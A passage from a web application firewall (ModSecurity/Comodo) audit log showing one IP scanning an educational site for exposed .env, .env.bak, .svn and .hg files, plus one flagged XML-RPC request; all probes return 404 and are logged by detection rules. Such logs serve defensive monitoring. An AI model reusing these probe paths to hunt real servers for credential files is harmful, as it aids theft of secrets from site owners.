"117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env_1"] [unique_id "aE9C-x-kH31pk4mNbsVB5QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024955997485 690763 (- - -) Stopwatch2: 1750024955997485 690763; combined=2129, p1=366, p2=1667, p3=0, p4=0, p5=96, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5174b57-Z-- --27125050-A-- [16/Jun/2025:03:32:37.660272 +0530] aE9C_bsEVBap6l1Fvp1C9wAAAAQ 185.177.72.210 39478 127.0.0.1 7081 --27125050-B-- GET /:9000/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --27125050-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=77b22b95d5e3d951af0b60bb33f614791750024957; expires=Sun, 15 Jun 2025 23:02:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --27125050-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/temp/.env"] [unique_id "aE9C_bsEVBap6l1Fvp1C9wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024957015232 645101 (- - -) Stopwatch2: 1750024957015232 645101; combined=1607, p1=356, p2=1166, p3=0, p4=0, p5=84, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --27125050-Z-- --d629ed47-A-- [16/Jun/2025:03:32:47.701192 +0530] aE9DB1R6EeXjkGzEkbln0QAAAAs 185.177.72.210 40034 127.0.0.1 7081 --d629ed47-B-- GET /backups/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d629ed47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=99f6ae3fd0cefea3491f4a18dfa3da361750024967; expires=Sun, 15 Jun 2025 23:02:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d629ed47-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.svn/"] [unique_id "aE9DB1R6EeXjkGzEkbln0QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024967038828 662439 (- - -) Stopwatch2: 1750024967038828 662439; combined=1904, p1=378, p2=1436, p3=0, p4=0, p5=90, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d629ed47-Z-- --34c87543-A-- [16/Jun/2025:03:32:49.687820 +0530] aE9DCX2GhYywD7zZgx79FAAAAAM 185.177.72.210 40150 127.0.0.1 7081 --34c87543-B-- GET /.hg/hgrc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --34c87543-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e3ffe622b337471756a8409d0b89f5f81750024969; expires=Sun, 15 Jun 2025 23:02:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --34c87543-H-- Message: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hg/hgrc"] [unique_id "aE9DCX2GhYywD7zZgx79FAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024969030134 657758 (- - -) Stopwatch2: 1750024969030134 657758; combined=1612, p1=306, p2=1221, p3=0, p4=0, p5=84, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34c87543-Z-- --4e7be70f-A-- [16/Jun/2025:03:32:50.717038 +0530] aE9DChAGYpjnkyifC9YjGAAAAAU 185.177.72.210 49074 127.0.0.1 7081 --4e7be70f-B-- GET /protokolle/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4e7be70f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=35137f01c2dd84c38a5d22a9068eb6a31750024970; expires=Sun, 15 Jun 2025 23:02:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4e7be70f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/protokolle/.env"] [unique_id "aE9DChAGYpjnkyifC9YjGAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024970054999 662100 (- - -) Stopwatch2: 1750024970054999 662100; combined=2600, p1=535, p2=1974, p3=0, p4=0, p5=91, sr=126, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e7be70f-Z-- --d3816529-A-- [16/Jun/2025:03:32:51.756641 +0530] aE9DCx-kH31pk4mNbsVB7AAAAAo 185.177.72.210 49088 127.0.0.1 7081 --d3816529-B-- GET /:8181/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d3816529-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b9df14144a8226e9b0d04c9cc9d3e42f1750024971; expires=Sun, 15 Jun 2025 23:02:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d3816529-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/courrier/.env"] [unique_id "aE9DCx-kH31pk4mNbsVB7AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024971084399 672328 (- - -) Stopwatch2: 1750024971084399 672328; combined=1747, p1=360, p2=1291, p3=0, p4=0, p5=95, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3816529-Z-- --32712a73-A-- [16/Jun/2025:03:32:53.771478 +0530] aE9DDR-kH31pk4mNbsVB7QAAAAo 185.177.72.210 49164 127.0.0.1 7081 --32712a73-B-- GET /ts/prime/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --32712a73-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=029155b7be7c6b59f9822d5ccaca6d3f1750024973; expires=Sun, 15 Jun 2025 23:02:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --32712a73-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ts/prime/.env"] [unique_id "aE9DDR-kH31pk4mNbsVB7QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024973106656 664920 (- - -) Stopwatch2: 1750024973106656 664920; combined=2017, p1=386, p2=1501, p3=0, p4=0, p5=130, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --32712a73-Z-- --f3d69028-A-- [16/Jun/2025:03:32:55.789465 +0530] aE9DDx-kH31pk4mNbsVB7gAAAAo 185.177.72.210 49246 127.0.0.1 7081 --f3d69028-B-- GET /:8008/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f3d69028-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5fbd1ce33ba18d1981b415c538fe38641750024975; expires=Sun, 15 Jun 2025 23:02:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f3d69028-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.prod"] [unique_id "aE9DDx-kH31pk4mNbsVB7gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024975130937 658613 (- - -) Stopwatch2: 1750024975130937 658613; combined=2149, p1=478, p2=1573, p3=0, p4=0, p5=97, sr=128, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f3d69028-Z-- --e249e500-A-- [16/Jun/2025:03:32:56.794098 +0530] aE9DEE6Jm8uWY207Wng-RQAAAAE 185.177.72.210 49284 127.0.0.1 7081 --e249e500-B-- GET /urlmem-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e249e500-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e04ed44ac6d6cdf945eb039badeca651750024976; expires=Sun, 15 Jun 2025 23:02:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e249e500-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/urlmem-app/.env"] [unique_id "aE9DEE6Jm8uWY207Wng-RQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024976129586 664569 (- - -) Stopwatch2: 1750024976129586 664569; combined=1639, p1=348, p2=1227, p3=0, p4=0, p5=63, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e249e500-Z-- --a1e96559-A-- [16/Jun/2025:03:32:58.998550 +0530] aE9DEnZqyQ8YfVGvJU7blAAAAAY 128.199.112.101 49418 127.0.0.1 7081 --a1e96559-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a1e96559-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a1e96559-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9DEnZqyQ8YfVGvJU7blAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024978029239 969365 (- - -) Stopwatch2: 1750024978029239 969365; combined=2014, p1=374, p2=1276, p3=38, p4=61, p5=166, sr=112, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a1e96559-Z-- --b7097c46-A-- [16/Jun/2025:03:33:04.480022 +0530] aE9DF32GhYywD7zZgx79HQAAAAM 185.177.72.210 40612 127.0.0.1 7081 --b7097c46-B-- GET /:10000/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b7097c46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f9cd4a3499bf4c6cb3c2c22e4ad7a4e1750024984; expires=Sun, 15 Jun 2025 23:03:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b7097c46-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.bak"] [unique_id "aE9DF32GhYywD7zZgx79HQAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.bak"] [unique_id "aE9DF32GhYywD7zZgx79HQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024983852954 627131 (- - -) Stopwatch2: 1750024983852954 627131; combined=1944, p1=374, p2=1433, p3=0, p4=0, p5=137, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7097c46-Z-- --25072b70-A-- [16/Jun/2025:03:33:10.715230 +0530] aE9DHrsEVBap6l1Fvp1DCwAAAAQ 185.177.72.210 40036 127.0.0.1 7081 --25072b70-B-- GET /:8888/.env.%E4%BF%9D%E5%AD%98.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25072b70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b307fedfc09ab109eccc5a0f0168bcca1750024990; expires=Sun, 15 Jun 2025 23:03:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25072b70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.%E4%BF%9D%E5%AD%98.1"] [unique_id "aE9DHrsEVBap6l1Fvp1DCwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024990043102 672200 (- - -) Stopwatch2: 1750024990043102 672200; combined=1697, p1=380, p2=1225, p3=0, p4=0, p5=91, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25072b70-Z-- --3bc02875-A-- [16/Jun/2025:03:33:15.552362 +0530] aE9DIorLgrklqy57Kk2fFwAAAAg 185.177.72.210 40216 127.0.0.1 7081 --3bc02875-B-- GET /:9000/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3bc02875-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bf1c6d12d3e8d8793e11fec364a6a4d01750024995; expires=Sun, 15 Jun 2025 23:03:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3bc02875-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/admin/.env"] [unique_id "aE9DIorLgrklqy57Kk2fFwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024994831128 721325 (- - -) Stopwatch2: 1750024994831128 721325; combined=1589, p1=358, p2=1127, p3=0, p4=0, p5=103, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3bc02875-Z-- --62d6f73c-A-- [16/Jun/2025:03:33:19.273161 +0530] aE9DJorLgrklqy57Kk2fGQAAAAg 185.177.72.210 40374 127.0.0.1 7081 --62d6f73c-B-- GET /:10000/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --62d6f73c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f791cfbee9e014e5b22e0481039ae2971750024999; expires=Sun, 15 Jun 2025 23:03:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --62d6f73c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.5"] [unique_id "aE9DJorLgrklqy57Kk2fGQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024998548908 724315 (- - -) Stopwatch2: 1750024998548908 724315; combined=1810, p1=368, p2=1338, p3=0, p4=0, p5=103, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 